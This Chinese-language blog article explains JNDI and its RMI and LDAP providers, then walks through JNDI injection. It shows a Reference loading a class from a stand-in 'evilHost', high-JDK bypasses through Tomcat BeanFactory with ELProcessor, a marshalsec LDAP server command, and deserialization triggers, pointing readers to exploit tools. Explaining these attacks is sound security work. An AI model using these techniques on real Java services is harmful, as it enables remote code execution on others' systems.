JNDI注入详细分析
本文首发于跳跳糖https://tttang.com/archive/1611/
什么是JNDI
JNDI(Java Naming and Directory Interface)是Java提供的Java命名和目录接口。通过调用JNDI的API可以定位资源和其他程序对象。JNDI是Java EE的重要部分,JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
为什么会用到JNDI
JNDI是java语言产生漏洞的一个比较大的因素,我们平时在业务开发中基本没有使用到,那么为什么会出现jndi呢?
- JNDI 提出的目的是为了解耦,是为了开发更加容易维护,容易扩展,容易部署的应用。
- JNDI 是一个Sun提出的一个规范(类似于JDBC),具体的实现是各个厂商实现的,可以看出,老外还是非常认可这个规范,很多地方做了很多解耦的设计,包括Log4J。
- JNDI 在J2EE系统中的角色是”交换机”,是J2EE组件在运行时间接地查找其他组件、资源或服务的通用机制。
- JNDI 是通过资源的名字来查找的,资源的名字在整个J2EE应用中是唯一的。
Naming Service 命名服务
命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
其中另一个值得一提的名称服务为 LDAP,全称为 Lightweight Directory Access Protocol,即轻量级目录访问协议,其名称也是从右到左进行逐级定义,各级以逗号分隔,每级为一个 name/value 对,以等号分隔。比如一个 LDAP 名称如下:
1 | cn=John, o=Sun, c=US |
即表示在 c=US 的子域中查找 o=Sun 的子域,再在结果中查找 cn=John 的对象。关于 LDAP 的详细介绍见后文。
在名称系统中,有几个重要的概念。Bindings: 表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP。Context: 上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext)。References: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。
Directory Service 目录服务
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象。
一些典型的目录服务有:NIS: Network Information Service,Solaris 系统中用于查找系统相关信息的目录服务;Active Directory: 为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;
其他基于 LDAP 协议实现的目录服务;
总而言之,目录服务也是一种特殊的名称服务,关键区别是在目录服务中通常使用搜索(search)操作去定位对象,而不是简单的根据名称查找(lookup)去定位。
在下文中如果没有特殊指明,都会将名称服务与目录服务统称为目录服务。
API
根据上面的介绍,我们知道目录服务是中心化网络应用的一个重要组件。使用目录服务可以简化应用中服务管理验证逻辑,集中存储共享信息。在 Java 应用中除了以常规方式使用名称服务(比如使用 DNS 解析域名),另一个常见的用法是使用目录服务作为对象存储的系统,即用目录服务来存储和获取 Java 对象。
比如对于打印机服务,我们可以通过在目录服务中查找打印机,并获得一个打印机对象,基于这个 Java 对象进行实际的打印操作。
为此,就有了 JNDI,即 Java 的名称与目录服务接口,应用通过该接口与具体的目录服务进行交互。从设计上,JNDI 独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,如下图所示:

SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:RMI: Java Remote Method Invocation,Java 远程方法调用;LDAP: 轻量级目录访问协议;CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);
除此之外,用户还可以在 Java 官网下载其他目录服务实现。由于 SPI 的统一接口,厂商也可以提供自己的私有目录服务实现,用户可无需重复修改代码。
为了更好理解 JNDI,我们需要了解其背后的服务提供者(Service Provider),这些目录服务本身和 JNDI 有没直接耦合性,但基于 SPI 接口和 JNDI 构建起了重要的联系。
SPI
本节主要介绍在 JDK 中内置的几个 Service Provider,分别是 RMI、LDAP 和 CORBA。这几个服务本身和 JNDI 没有直接的依赖,而是通过 SPI 接口实现了联系,因此本节先对这些服务进行简单介绍。
RMI
第一个就是 RMI,即 Remote Method Invocation,Java 的远程方法调用。RMI 为应用提供了远程调用的接口,可以理解为 Java 自带的 RPC 框架。
一个简单的 RMI 主要由三部分组成,分别是注册端、服务端和客户端。
服务端:
a. 这里定义一个名为 Hello 的接口,其中包含方法sayHello()。
1 | import java.rmi.Remote; |
b. 实现接口
1 | import java.rmi.RemoteException; |
c. 服务端可以createRegistry也可以getRegistry。其中涉及到两个端口,1098 表示当前对象的 stub 端口,可以用 0 表示随机选择;另外一个是 1099 端口,表示 registry 的监听端口。
1 | import java.rmi.registry.LocateRegistry; |
客户端代码如下:
a. 客户端也应该有一个即将调用的接口类
b. 客户端getRegistry,然后lookup相应方法然后进行调用
1 | import java.rmi.registry.LocateRegistry; |
LDAP
LDAP (Lightweight Directory Access Protocol, 轻型目录访问协议) 既是一类服务,也是一种协议,定义在 RFC2251(RFC4511) 中,是早期 X.500 DAP (目录访问协议) 的一个子集,因此有时也被称为 X.500-lite。LDAP Directory 作为一种目录服务,主要用于带有条件限制的对象查询和搜索。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。和传统数据库相比,最大的不同在于目录服务中数据的组织方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。
LDAP的中文全称是:轻量级目录访问协议,说到底LDAP仅仅是一个访问协议,我们的数据究竟存储在厂商相应的服务器里。
LDAP 的请求和响应是 ASN.1 格式,使用二进制的 BER 编码,操作类型(Operation)包括 Bind/Unbind、Search、Modify、Add、Delete、Compare 等等,除了这些常规的增删改查操作,同时也包含一些拓展的操作类型和异步通知事件。
LDAP基本模型
每一个系统、协议都会有属于自己的模型,LDAP也不例外,在了解LDAP的基本模型之前我们需要先了解几个LDAP的目录树概念:
(一)目录树概念
- 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目。
- 条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(
DN)。 - 对象类:与某个实体类型对应的一组属性,对象类是可以继承的,这样父类的必须属性也会被继承下来。
- 属性:描述条目的某个方面的信息,一个属性由一个属性类型和一个或多个属性值组成,属性有必须属性和非必须属性。
(二)DC、UID、OU、CN、SN、DN、RDN
| 关键字 | 英文全称 | 含义 |
|---|---|---|
| dc | Domain Component | 域名的部分,其格式是将完整的域名分成几部分,如域名为example.com变成dc=example,dc=com(一条记录的所属位置) |
| uid | User Id | 用户ID songtao.xu(一条记录的ID) |
| ou | Organization Unit | 组织单位,组织单位可以包含其他各种对象(包括其他组织单元),如“oa组”(一条记录的所属组织) |
| cn | Common Name | 公共名称,如“Thomas Johansson”(一条记录的名称) |
| c | country | 一个二位的国家代码。例如:CN、US、HK、JP等。 |
| sn | Surname | 姓,如“许” |
| dn | Distinguished Name | “uid=songtao.xu,ou=oa组,dc=example,dc=com”,一条记录的位置(唯一) |
| rdn | Relative dn | 相对辨别名,类似于文件系统中的相对路径,它是与目录树结构无关的部分,如“uid=tom”或“cn= Thomas Johansson” |
其中值得注意的是:DC: Domain Component,组成域名的部分,比如域名 baidu.com 的一条记录可以表示为 dc=baidu,dc=com,从右至左逐级定义;DN: Distinguished Name,由一系列属性(从右至左)逐级定义的,表示指定对象的唯一名称;DN 的 ASN.1 描述为:
1 | DistinguishedName ::= RDNSequence |
属性 type 和 value 使用等号分隔,每个属性使用逗号分隔。至于其他属性可以根据开发者的设计自行添加,比如对于企业人员的记录可以添加工号、邮箱等属性。
另外,由于 LDAP 协议的记录为 DER 编码不易于阅读,可以使用 LDIF(LDAP Data Interchange Format) 文本格式进行表示,通常用于 LDAP 记录(数据库)的导出和导出。
CORBA
CORBA 是一个由 Object Management Group (OMG) 定义的标准。在分布式计算的概念中,ORB(Object Request Broker) 表示用于分布式环境中远程调用的中间件。听起来有点拗口,其实就是早期的一个 RPC 标准,ORB 在客户端负责接管调用并请求服务端,在服务端负责接收请求并将结果返回。CORBA是一系列定义分布式操作系统的标准,这些标准由 OMG (Object Management Group:对象管理组织)撰写。CORBA 定义对象之间交互的协议。如其所述,这些对象可以用不同的编程语言写成,运行在不同的操作系统上,存在于不同的机器上。

举个例子,让我们想象一个有 eat_me 方法的 Apple 对象。这个对象被编码到用 C 语言写的一些库中,并位于在 mathieu.rezel.enst.fr 的一个支持 CORBA 的运行 Windows 的老 486 上。 现在只要我想做,我可以在网络上的任何地方用 C++ 程序调用 Apple 对象的 eat_me 方法。例如,从 calisson.enst.fr 的一个 ULTRA 5工作站,我可以得到在 mathieu PC 上执行 eat_me 方法的结果。
这一切的好处是编程者不用介意是在本地机器还是在远程机器上执行方法。这些都由 CORBA 来关照。对象自身可以就在我进行调用的同一部机器上:没有人需要知道这些。 进一步,这样的对象可以用任何语言写成而用其他任何语言完成调用(假设语言有 CORBA 支持)。
为了作到所有这些, CORBA 定义了一系列对象间的通信协议。通信媒介是 ORB (Object Request Broker)。 ORB 将关照对象间发送消息:对象可以在做调用的同一机器上或在网络上的其他机器上。在第一种情况下, ORB 将优化消息交换。在第二中情况下,进行调用要使用在现存网络层之上的 IIOP 或 GIOP 协议。ORB 特定于 CORBA 实现(ORBit 有它自己的 ORB),但来在不同厂商的 ORB 之间可以透明的通信,这有赖于公共的协议。这意味着你可以使用某个 ORB 并用它建立对象,这之后你决定这个 ORB 不再使用(sucks) (比如说它太慢了),你可以使用其他的 ORB 并有同样的对象交互。ORB通信图如下:

当你做到对象的调用时,你必须生成正确的消息:stub 就是用来做这个的。skeleton 负责把这些消息转换成正确的到对象的调用。编程者负责写 stub 和 skeleton,不过有一些工具可以帮助你。stub 担当本地的代表或远程对象的代理(proxy),这样就能与远程对象一起工作、就象它在本地一样。skeleton 做严格的相反的事。COM 编程者要注意:CORBA stub 在 COM-lingo 中叫做 proxy,而skeleton 大致扮演 COM stub 同样的角色。
这就是基本的 CORBA 体系,但 CORBA 有更多的内容:CORBA 的目标是个创建一个分布式系统。ORB 是对象用的框架(framework),而 CORBA 还定义了一系列丰富的对象和伪对象(pseudo-object)(ORB 提供的同对象一样的外表)来处理编程者在与分布式对象一起工作时所面对的各种要点。
首先, 我们有 CORBA 服务(Service),例如,它允许你有命名服务、安全服务 、(对象鉴别、通信加密…),许可服务(控制使用软件的用户)。当前有 16 项服务,但在 ORBit 中被实现的很少(ORBit 是我们要用的 CORBA 实现)。
其次,在 CORBA 服务之上还建立了 CORBA 设施(facility)。CORBA 设施是指定了产业分支的一系列对象:医药,法律…
一些常见名词的解释:IOR: 全称是 Interoperable Object Reference,即可互操作对象引用,其中包含了用于构建远程对象所需的必要字段,比如远程 IIOP 地址、端口信息等。Stub: 由 IDL 编译而成的客户端模板代码,开发者通过调用这些代码来实现 RPC 功能;POA: Portable Object Adapter,可拓展对象适配器,简单来就是 IDL 编译而成的服务端模板代码,开发者通过继承去实现对应的接口来实现 RPC 的服务端功能,参考上面代码中的 HelloPOA;GIOP: General Inter-ORB Protocol,ORB 互传协议,是一类抽象协议,指定转换语法和消息格式的标准集;IIOP: Internet Inter-ORB Protocol,ORB 网间传输协议,是 GIOP 在互联网(TCP/IP)的特化实现;RMI-IIOP: RMI over IIOP,由于 RMI 也是 Java 中常用的远程调用框架,因此 Sun 公司提供了针对这二者的一种映射,让使用 RMI 的程序也能适用于 IIOP 的协议;
JNDI的结构
从上面介绍的三个 Service Provider 我们可以看到,除了 RMI 是 Java 特有的远程调用框架,其他两个都是通用的服务和标准,可以脱离 Java 独立使用。JNDI 就是在这个基础上提供了统一的接口,来方便调用各种服务。
在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:
1 | javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。 |
类介绍
InitialContext类
构造方法:
1 | //构建一个初始上下文。 |
常用方法:
1 | //将名称绑定到对象。 |
示例:
1 | import javax.naming.InitialContext; |
Reference类
该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法:
1 | //为类名为“className”的对象构造一个新的引用。 |
常用方法:
1 | //将地址添加到索引posn的地址列表中。 |
示例:
1 | import com.sun.jndi.rmi.registry.ReferenceWrapper; |
这里可以看到调用完Reference后又调用了ReferenceWrapper将前面的Reference对象给传进去,这是为什么呢?
其实查看Reference就可以知道原因,查看到Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。
JNDI References 注入
为了在命名服务或目录服务中绑定Java对象,可以使用Java序列化来传输对象,但有时候不太合适,比如Java对象较大的情况。因此JNDI定义了命名引用(Naming References),后面直接简称引用(References)。这样对象就可以通过绑定一个可以被命名管理器(Naming Manager)解码并解析为原始对象的引用,间接地存储在命名或目录服务中。
引用由Reference类来表示,它由地址(RefAddress)的有序列表和所引用对象的信息组成。而每个地址包含了如何构造对应的对象的信息,包括引用对象的Java类名,以及用于创建对象的ObjectFactory类的名称和位置。Reference可以使用ObjectFactory来构造对象。当使用lookup()方法查找对象时,Reference将使用提供的ObjectFactory类的加载地址来加载ObjectFactory类,ObjectFactory类将构造出需要的对象。
所谓的 JNDI 注入就是控制 lookup 函数的参数,这样来使客户端访问恶意的 RMI 或者 LDAP 服务来加载恶意的对象,从而执行代码,完成利用
在 JNDI 服务中,通过绑定一个外部远程对象让客户端请求,从而使客户端恶意代码执行的方式就是利用 Reference 类实现的。Reference 类表示对存在于命名/目录系统以外的对象的引用。
具体则是指如果远程获取 RMI 服务器上的对象为 Reference 类或者其子类时,则可以从其他服务器上加载 class 字节码文件来实例化Reference 类常用属性:
1 | className 远程加载时所使用的类名 |
比如:
1 | Reference reference = new Reference("Exploit","Exploit","http://evilHost/" ); |
此时,假设使用 rmi 协议,客户端通过 lookup 函数请求上面 bind 设置的 Exploit
1 | Context ctx = new InitialContext(); |
因为绑定的是 Reference 对象,客户端在本地 CLASSPATH 查找 Exploit 类,如果没有则根据设定的 Reference 属性,到URL: http://evilHost/Exploit.class 获取构造对象实例,构造方法中的恶意代码就会被执行
JNDI_RMI
本节主要分析 JNDI 在使用 RMI 协议时面临的攻击面。
低版本JDK运行
服务端代码:
1 | import com.sun.jndi.rmi.registry.ReferenceWrapper; |
客户端代码:
1 | import javax.naming.InitialContext; |
恶意类:
1 | import javax.naming.Context; |
首先将恶意类编译为Class文件,放到http目录下。

启动服务端

启动客户端

可以清晰的看到在客户端中远程的类代码按照顺序被执行。
1 | static在类加载的时候执行 |
高版本JDK运行(LDAP也可以用这种思路)
JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true 。因为如果 JDK 高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI 代码。
不加参数,抛出异常:

加入参数,正常运行:

原因分析
上面高版本 JDK 中无法加载远程代码的异常出现在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject 中

其中 getFactoryClassLocation()方法是获取classFactoryLocation地址,可以看到,在 ref != null && ref.getFactoryClassLocation() != null 的情况下,会对 trustURLCodebase 进行取反,由于在 JDK 6u132、7u122、8u113 版本及以后, com.sun.jndi.rmi.object.trustURLCodebase 默认为 false ,所以会进入 if 语句,抛出异常。
绕过方式
如果要解码的对象 r 是远程引用,就需要先解引用然后再调用 NamingManager.getObjectInstance,其中会实例化对应的 ObjectFactory 类并调用其 getObjectInstance 方法,这也符合我们前面打印的 EvilClass 的执行顺序。
因此为了绕过这里 ConfigurationException 的限制,我们有三种方法:
- 令
ref为空,或者 - 令
ref.getFactoryClassLocation()为空,或者 - 令
trustURLCodebase为true
方法一:令 ref 为空,从语义上看需要 obj 既不是 Reference 也不是 Referenceable。即,不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程 RMI 没有操作的空间,因此这种情况不太好利用;
方法二:令 ref.getFactoryClassLocation() 返回空。即,让 ref 对象的 classFactoryLocation 属性为空,这个属性表示引用所指向对象的对应 factory 名称、地址,对于远程代码加载而言是 codebase,即远程代码的 URL 地址(可以是多个地址,以空格分隔),这正是我们上文针对低版本的利用方法;如果对应的 factory 是本地代码,则该值为空,这是绕过高版本 JDK 限制的关键;
方法三:我们已经在上节用过,即在命令行指定 com.sun.jndi.rmi.object.trustURLCodebase 参数。
可以看一下getFactoryClassLocation()方法,以及返回值的赋值情况。

要满足方法二情况,我们只需要在远程 RMI 服务器返回的 Reference 对象中不指定 Factory 的 codebase。接着看一下 javax.naming.spi.NamingManager 的解析过程
1 | public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, |
可以看到,在处理 Reference 对象时,会先调用 ref.getFactoryClassName() 获取对应工厂类的名称,也就是会先从本地的CLASSPATH中寻找该类。如果不为空则直接实例化工厂类,并通过工厂类去实例化一个对象并返回;如果为空则通过网络去请求,即前文中的情况。
之后会执行静态代码块、代码块、无参构造函数和getObjectInstance方法。那么只需要在攻击者本地CLASSPATH找到这个Reference Factory类并且在这四个地方其中一块能执行payload就可以了。但getObjectInstance方法需要你的类实现javax.naming.spi.ObjectFactory接口
因此,我们实际上可以指定一个存在于目标 classpath 中的工厂类名称,交由这个工厂类去实例化实际的目标类(即引用所指向的类),从而间接实现一定的代码控制。
整个利用过程的主要调用栈如下:
1 | InitialContext#lookup() |
总结一下
满足要求的工厂类条件:
- 存在于目标本地的
CLASSPATH中 - 实现
javax.naming.spi.ObjectFactory接口 - 至少存在一个
getObjectInstance()方法
而存在于 Tomcat 依赖包中的 org.apache.naming.factory.BeanFactory 就是个不错的选择org.apache.naming.factory.BeanFactory ,这个类在 Tomcat 中,很多 web 应用都会包含,它的关键代码:
1 | public Object getObjectInstance(Object obj, Name name, Context nameCtx, |
上面注释标注了关键的部分,我们可以通过在返回给客户端的 Reference 对象的 forceString 字段指定 setter 方法的别名,并在后续初始化过程中进行调用。forceString 的格式为 a=foo,bar,以逗号分隔每个需要设置的属性,如果包含等号,则对应的方法为等号后的值 foo,如果不包含等号,则 setter 方法为默认值 setBar。
在后续调用时,调用 setter 方法使用单个参数,且参数值为对应属性对象 RefAddr 的值 (getContent)。因此,实际上我们可以调用任意指定类的任意方法,并指定单个可控的参数。
因为使用 newInstance创建实例(也就是后面Poc中的ELProcessor),所以只能调用无参构造,这就要求目标 class 得有无参构造方法,上面 forceString 可以给属性强制指定一个 setter 方法,参数为一个 String 类型
于是找到 javax.el.ELProcessor 作为目标 class,利用 el 表达式执行命令,工具 JNDI-Injection-Bypass 中的 EvilRMIServer.java 部分代码如下

所以整个绕过流程就是:
为了绕过ConfigurationException,需要满足ref.getFactoryClassLocation() 为空,只需要在远程 RMI 服务器返回的 Reference 对象中不指定 Factory 的 codebase
来到NamingManager,需要在攻击者本地CLASSPATH找到这个Reference Factory类并且在其中一块代码能执行payload,找到了BeanFactoryBeanFactor使用newInstance创建实例,所以只能调用无参构造,这就要求目标 class 得有无参构造方法且有办法执行相关命令,于是找到ELProcessor和GroovyShell
总结起来就是绕过了ConfigurationException,进入NamingManager,使用BeanFactor创建ELProcessor/GroovyShell无参实例,然后BeanFactor根据别名去调用方法(执行ELProcessor中的eval方法)
从代码中能看出该工具还有另一个利用方法,groovy.lang.GroovyShell,原理也是类似的

传入的 Reference为 ResourceRef 类,后面通过反射的方式实例化 Reference 所指向的任意 Bean Class,调用 setter 方法为所有的属性赋值,该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象。ResourceRef构造器的第七个参数factoryLocation是远程加载factory的地址,比如是一个url,这里将其设置为null,达到绕过ConfigurationException限制。
poc
1 | public class bypass { |
org.apache.naming.ResourceRef 在 tomcat 中表示某个资源的引用,其构造函数参数如下:
1 | /** |
其中我们指定了资源的实际类为 javax.el.ELProcessor,工厂类为 apache.naming.factory.BeanFactory。x=eval 令上述代码实际执行的是 ELProcessor.eval 函数,其第一个参数是属性 x 的值,这里指定的是弹计算器。
目标环境:
1 | <dependency> |
因为要使用 javax.el.ELProcessor,所以需要 Tomcat 8+或SpringBoot 1.2.x+
Server端启动上述Poc,Client端正常请求,弹出计算器。

源码调试
debug Client端,在lookup处下端点;

经过如下调用栈,进入RegistryContext#decodeObject

判断上文中的三个条件,绕过后进入NamingManager.getObjectInstance

经由NamingManager.getObjectInstance进入factory.getObjectInstance

进入BeanFactory#getObjectInstance后,首先会判断对象是否是ResourceRef类,接下来通过反射实例化了beanClass

取出了键值为forceString的值,以,分割,拆分=键值对,存入hashMap对象中,=右边为调用的方法,=左边则是会通过作为hashmap的key

此时各个变量值为

最后通过反射执行我们指定的之前构造的方法
可以看到该方法中有反射的调用method.invoke(bean, valueArray);并且反射所有参数均来自Reference,反射的类来自Object bean = beanClass.getConstructor().newInstance();,这里是ELProcessor ,后面就是分析ELProcessor.eval达到了命令执行。

看一下调用栈

绕过总结
Server:
使用ResourceRef构造的beanClass,这种利用方式构造的beanClass是javax.el.ELProcessor。ELProcessor中有个eval(String)方法可以执行EL表达式,javax.el.ELProcessor是Tomcat8中的库,所以仅限Tomcat8及更高版本环境下可以通过该库进行攻击。

Client:
远程 RMI 服务器返回的 Reference 对象中不指定 Factory 的 codebase,且使用本地的factory,如BeanFactory,以此绕过 trustURLCodebase 报错,执行 NamingManager ;
在factory的静态代码块、代码块、构造函数和getObjectInstance方法任意一个里面构造payload,即可在 NamingManager 中执行。
工具
- 使用 https://github.com/welk1n/JNDI-Injection-Bypass,放在服务器上启动一个恶意
RMI Server - https://github.com/mbechler/marshalsec
JNDI_LDAP
LDAP 服务作为一个树形数据库,可以通过一些特殊的属性来实现 Java 对象的存储,此外,还有一些其他实现 Java 对象存储的方法:
- 使用
Java序列化进行存储; - 使用
JNDI的引用(Reference)进行存储; - ……
使用这些方法存储在 LDAP 目录中的 Java 对象一旦被客户端解析(反序列化),就可能会引起远程代码执行。
低版本JDK运行
Server端代码(攻击者):
我们可以通过LDAP服务来绕过URLCodebase实现远程加载,LDAP服务也能返回JNDI Reference对象,利用过程与jndi + RMI Reference基本一致,不同的是,LDAP服务中lookup方法中指定的远程地址使用的是LDAP协议,由攻击者控制LDAP服务端返回一个恶意jndi Reference对象,并且LDAP服务的Reference远程加载Factory类并不是使用RMI Class Loader机制,因此不受trustURLCodebase限制。
利用之前,需要在这个网站下载LDAP服务unboundid-ldapsdk-3.1.1.jar
https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk/3.1.1
服务端代码使用的是marshalsec项目中的代码
引入依赖
1 | <dependency> |

工具
也可以使用marshalsec开启LDAP服务
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/\#EvilClass |

使用高版本后,返回null
流程分析
JNDI发起ldap的lookup后,将有如下的调用流程,这里我们直接来关注,获得远程LDAP Server的Entry之后,Client这边是怎么做处理的
LADP服务利用流程分析,LADP服务前面的调用流程和rmi是基本一样,从Obj类的decodeObject方法这里就有些不太一样了,decodeObject方法内部调用了decodeReference方法
跟进com.sun.jndi.ldap.Obj.java#decodeObject,按照该函数的注释来看,其主要功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象。关于序列化对象的处理,我们看后面一节。这里摘取了Reference的处理方式:
1 | static Object decodeObject(Attributes var0) throws NamingException { |
Obj类的decodeReference方法根据Ldap传入的addAttribute属性构造并返回了一个新的reference对象引用
1 | private static Reference decodeReference(Attributes var0, String[] var1) throws NamingException, IOException { |
LADP服务的Reference对象引用的获取和rmi注入中的不太一样,rmi是通过ReferenceWrapper_Stub对象的getReference方法获取reference对象,而LADP服务是根据传入的属性构造一个新的reference对象引用,接着获取了第6个属性并判断是否为空,如果第6个属性为null则直接返回新的reference对象引用。
reference对象的三个属性:className,classFactory,classFactoryLocation)如下所示:
接着会返回到decodeObject方法调用处,然后再返回到LdapCtx类的c_lookup方法调用处,接着往下执行调用getObjectInstance方法
1 | protected Object c_lookup(Name var1, Continuation var2) throws NamingException { |
c_lookup方法将var3(reference对象)传给了getObjectInstance方法的refInfo参数,继续跟进分析getObjectInstance方法
1 | public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx , Hashtable<?,?> environment, Attributes attrs) throws Exception { |
getObjectInstance方法将reference对象转换为Reference类型并判断reference对象是否为空,如果不为空则从reference引用中获取工厂类Exp名字,接着调用getObjectFactoryFromReference方法根据工厂类Exp名字获取远程调用对象。
getObjectFactoryFromReference方法实现如下:
1 | static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName) throws IllegalAccessException,InstantiationException, MalformedURLException { |
可以看到LDAP服务跟rmi一样,会尝试先在本地查找加载Exp类,如果本地没有找到Exp类,那么getFactoryClassLocation方法会获取远程加载的url地址,如果不为空则根据远程url地址使用类加载器URLClassLoader来加载Exp类
低版本是如何将远程类进行加载并实例化的:
下面这个图是loadClass方法远程加载Exp类的实现源码。(高版本加了trustURLCodebase限制,低版本没有)
可以看到使用URLClassLoader加载了远程类,并使用指定的类加载器(getContextClassLoader();)作为父类加载器创建ClassLoader对象。
然后loadClass(className, cl);会调用loadClass(className, true, cl);,继而调用Class.forName(className, initialize, cl);,会对类进行初始化,会先执行静态变量和静态代码块。
然后回到getObjectFactoryFromReference方法,会newInstance这个类,执行类的代码块和无参构造函数


通过分析发现LDAP服务的整个利用流程都没有URLCodebase限制。
看一下整个调用站栈
高版本运行
限制
在jdk8u191以上的版本中修复了LDAP服务远程加载恶意类这个漏洞,LDAP服务在进行远程加载之前也添加了系统属性trustURLCodebase的限制,通过分析在jdk8u191版本发现,在loadClass方法内部添加了系统属性trustURLCodebase的判断,如果trustURLCodebase为false就直接返回null,只有当trustURLCodebase值为true时才允许远程加载。
在高版本 JDK 中需要通过 com.sun.jndi.ldap.object.trustURLCodebase 选项去启用。这个限制在 JDK 11.0.1、8u191、7u201、6u211 版本时加入,略晚于 RMI 的远程加载限制。
使用序列化数据,触发Gadget
触发点一:com.sun.jndi.ldap.Obj.java#decodeObject存在对JAVA_ATTRIBUTES[SERIALIZED_DATA]的判断
这里提到 com.sun.jndi.ldap.Obj.java#decodeObject 主要功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象。
对于Reference对象,可以像rmi那种方式,利用一个本地factory。
关键代码:
1 | e.addAttribute("javaClassName", "java.lang.String"); //could be any |
现在讲一下传来的是序列化的对象这种情况。
如果是序列化对象会调用deserializeObject方法
进入deserializeObject方法,发现会进行readObject
看一下调用栈
Poc
poc和低版本JDK运行的Server端代码差不多,就把sendResult处的代码改成能触发反序列化漏洞的利用链就可以
触发点二:com.sun.jndi.ldap.Obj.java#decodeReference函数在对普通的Reference还原的基础上,还可以进一步对RefAddress做还原处理,其中还原过程中,也调用了deserializeObject函数,这意味着我们通过构造满足一定条件的RefAddress,达到上面第一种的效果。
需满足以下条件:
1.第一个字符为分隔符
2.第一个分隔符与第二个分隔符之间,表示Reference的position,为int类型
3.第二个分隔符与第三个分隔符之间,表示type,类型
4.第三个分隔符是双分隔符的形式,则进入反序列化的操作
5.序列化数据用base64编码payload如下
1 | //方式二 |



触发点二只是一个锦上添花的步骤,我们可以直接用第一种方法,第二种在第一种不能用的情况下可以试试。
CORBA
使用场景少,暂时不分析。
总结
JDK 5U45、6U45、7u21、8u121开始java.rmi.server.useCodebaseOnly默认配置为trueJDK 6u132、7u122、8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值为falseJDK 11.0.1、8u191、7u201、6u211开始com.sun.jndi.ldap.object.trustURLCodebase默认为false
由于JNDI注入动态加载的原理是使用Reference引用Object Factory类,其内部在上文中也分析到了使用的是URLClassLoader,所以不受java.rmi.server.useCodebaseOnly=false属性的限制。
但是不可避免的受到 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase的限制。
所以,JNDI-RMI注入方式有:
codebase(JDK 6u132、7u122、8u113之前可以)- 利用本地
Class Factory作为Reference Factory
JNDI-LDAP注入方式:
codebase(JDK 11.0.1、8u191、7u201、6u211之前可以)serialize(两个切入点)
浅蓝大佬写了一篇文章——探索高版本 JDK 下 JNDI 漏洞的利用方法和探索高版本 JDK 下 JNDI 漏洞的利用方法:第二章,分别介绍了系统使用的是 Tomcat7(没有ELProcessor),或是没有 groovy 依赖,又或是没有本地可用的反序列化 gadget,还有可能连 Tomcat 都没有(无法使用 BeanFactory)等特殊情况下的利用方法以及相关补充。
防止文章失效,我转到了GitHub探索高版本 JDK 下 JNDI 漏洞的利用方法和探索高版本 JDK 下 JNDI 漏洞的利用方法:第二章
原文链接在探索高版本 JDK 下 JNDI 漏洞的利用方法和探索高版本 JDK 下 JNDI 漏洞的利用方法:第二章
另外,测试代码报readtime out错误的话可能是本机Socket开了代理,关了就好。
Reference
https://evilpan.com/2021/12/13/jndi-injection/
https://blog.csdn.net/weixin_45682070/article/details/122622236
https://blog.csdn.net/qq_35733751/article/details/118767640
https://www.anquanke.com/post/id/201181
